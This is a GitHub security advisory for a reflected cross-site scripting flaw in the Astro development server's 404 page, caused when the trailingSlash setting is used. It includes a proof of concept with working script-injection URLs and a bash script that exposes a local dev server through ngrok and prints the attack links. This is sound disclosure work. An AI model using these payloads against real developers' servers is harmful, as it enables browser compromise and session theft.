GHSA-w2vj-39qv-7vh7
Astro development server error page is vulnerable to reflected Cross-site Scripting
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
## Details
### Vulnerability Location
https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
### Root Cause
The vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.
### Attack Vector
When a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
## PoC
### Local Testing (localhost)
Basic vulnerability verification in local development environment
<details>
<summary>Show details</summary>
`astro.config.mjs`:
```javascript
import { defineConfig } from 'astro/config';
export default defineConfig({
trailingSlash: 'never', // or 'always'
server: {
port: 3000,
host: true
}
});
```
`package.json`:
```json
{
"name": "astro-xss-poc-victim",
"version": "0.1.0",
"scripts": {
"dev": "astro dev"
},
"dependencies": {
"astro": "5.15.5"
}
}
```
Start the development server:
```bash
npm install
npm run dev
```
Access the following malicious URL depending on your configuration:
**For `trailingSlash: 'never'`** (requires trailing slash):
```
http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
```
**For `trailingSlash: 'always'`** (no trailing slash):
```
http://localhost:3000/"></code><script>alert(document.domain)</script><!--
```
When accessing the malicious URL:
1. The development server returns a 404 page due to trailing slash mismatch
2. The JavaScript payload (`alert(document.domain)`) executes in the browser
3. An alert dialog appears, demonstrating arbitrary code execution
</details>
### Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
<details>
<summary>Show details</summary>
Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`)
Setup and Execution:
```bash
#!/bin/bash
set -e
mkdir -p logs
npm i
npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait
```
When a remote user accesses either of the generated attack URLs:
1. The request is tunneled through ngrok to the local development server
2. The development server returns a 404 page due to trailing slash mismatch
3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser
Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').
</details>
## Impact
This only affects the **development server**. Risk depends on how and where the dev server is exposed.
### Security impact
* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser.
* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.
* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.
* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.
### Attack scenarios
* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.
* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.
* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7
- https://nvd.nist.gov/vuln/detail/CVE-2025-64745
- https://github.com/withastro/astro/pull/12994
- https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91
- https://github.com/withastro/astro
- https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149